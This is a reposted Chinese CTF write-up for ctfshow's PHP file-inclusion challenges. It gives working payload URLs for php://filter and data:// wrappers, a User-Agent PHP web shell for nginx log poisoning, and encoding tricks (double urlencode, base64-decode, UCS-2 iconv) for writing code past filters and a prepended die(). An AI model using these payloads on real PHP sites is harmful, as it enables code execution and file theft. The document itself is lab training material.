ctfshow Web入门[文件包含] Writeup

admin 2023年12月15日20:58:44评论7 views字数 3295阅读10分59秒阅读模式

文件包含

主要考察各种伪协议, 尤其是 php://filter

php 伪协议

http://86039d93-a3f5-4dad-9f2e-1ae926e13f29.challenge.ctf.show/?file=php://filter/read=convert.base64-encode/resource=flag.php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

将 php 替换为 ???, 不过这个默认是不忽略大小写的

使用 phP://input 绕过

http://cn-sec.com/wp-content/uploads/2023/12/20231215115216-29.png

另外可以使用 data 伪协议 + base64 绕过

data://php://input 都可以用来执行 PHP 代码

http://316a1b13-abdf-4430-8d75-b8e0c3a8b9fc.challenge.ctf.show/?file=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnZmxhZy5waHAnKTs/Pg==

$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);

用上一题的 phP://input 绕过

http://cn-sec.com/wp-content/uploads/2023/12/20231215115217-90.png

nginx 日志包含, 远程文件包含也能用

nginx 日志路径 /var/log/nginx/access.log, 更改 User-Agent

$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);

包含日志

User-Agent: <?php system($_GET[1]);?>

http://cn-sec.com/wp-content/uploads/2023/12/20231215115217-59.png

竞争环境需要晚上11点30分至次日7时30分之间做,其他时间不开放竞争条件

先放着

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

文件内容前插入了 die(), 直接写的话后面的内容不会被执行

参考文章

https://xz.aliyun.com/t/8163

https://www.anquanke.com/post/id/202510

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

这里我们选择 convert.base64-decode 过滤器

因为最后一行有 urldecode($file), 我们可以通过两次 urlencode 方式来绕过 str_replace()

网上的在线 urlencode 无法对正常字符如 A-Z a-z . 等进行编码, 这里我们手写一个编码器

text = 'php://filter/convert.base64-decode/resource=1.php'

new_text = ''

for i in text:
    new_text += hex(ord(i)).replace('0x', '%25')

print(new_text)

注意需要把 % 替换成 %25, 才能达到二次编码的效果

http://cn-sec.com/wp-content/uploads/2023/12/20231215115217-7.png

一开始报错写入失败, 这是因为 base64 解码时是4个 bytes 一组, 前面的内容被除去特殊字符 (符号 汉字等) 后剩下来的 phpdie 仅有6个字符, 不满足4的整数倍

在 content 值的开头填充两个 a 以达到8个字符, 上传成功

http://cn-sec.com/wp-content/uploads/2023/12/20231215115217-41.png

查看 flag

http://cn-sec.com/wp-content/uploads/2023/12/20231215115217-78.png

if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
}

第一眼想到的是远程文件包含, 利用 IP 长地址 (不含 .)

然后发现 data:// 协议其实也能正常使用, 但是要注意编码后的 payload 不能含有 =+

= 是为了填充数量以达到 4 字节的, 删掉也不影响解码

http://05b928aa-ad9a-4d4a-be1e-b914ea74018e.challenge.ctf.show/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg&1=cat%20fl0g.php

http://cn-sec.com/wp-content/uploads/2023/12/20231215115217-41-1.png

misc + lfi

打开网站后是一个 mp4, 下载下来分析文件

binwalk 提取失败了, 用的 foremost

http://cn-sec.com/wp-content/uploads/2023/12/20231215115217-65.png

有一张 png 文件

http://cn-sec.com/wp-content/uploads/2023/12/20231215115218-6.png

过滤的有点多, 不过 php://filter 还能用

一开始可能都会想到用 base64 rot13 结果被过滤了, 其实 php://filter 可以直接明文读取

http://e3c9307f-cc19-4221-bd4c-e20eb23044a2.challenge.ctf.show/?file=php://filter/resource=flag.php

http://cn-sec.com/wp-content/uploads/2023/12/20231215115218-10.png

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

过滤的挺多, 但是可以使用 convert.iconv.* 过滤器

convert.iconv.<input-encoding>.<output-encoding> 

convert.iconv.<input-encoding>/<output-encoding>

该过滤器类似于 iconv() 函数, 参考文档如下

https://www.php.net/manual/zh/function.iconv.php

https://www.php.net/manual/zh/mbstring.supported-encodings.php

这里直接用先知那篇文章里的从 UCS-2LE 到 UCS-2BE 的转换

本地生成一个 payload, 注意原始长度必须是偶数

<?php 
$text = '<?php system($_GET[11]);?>';

echo iconv("UCS-2LE", "UCS-2BE", $text);
?>

编码后的 payload

?<hp pystsme$(G_TE1[]1;)>?

http://cn-sec.com/wp-content/uploads/2023/12/20231215115218-50.png

查看 flag

http://cn-sec.com/wp-content/uploads/2023/12/20231215115218-3.png

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日20:58:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ctfshow Web入门[文件包含] Writeuphttp://cn-sec.com/archives/2306339.html

发表评论

匿名网友 填写信息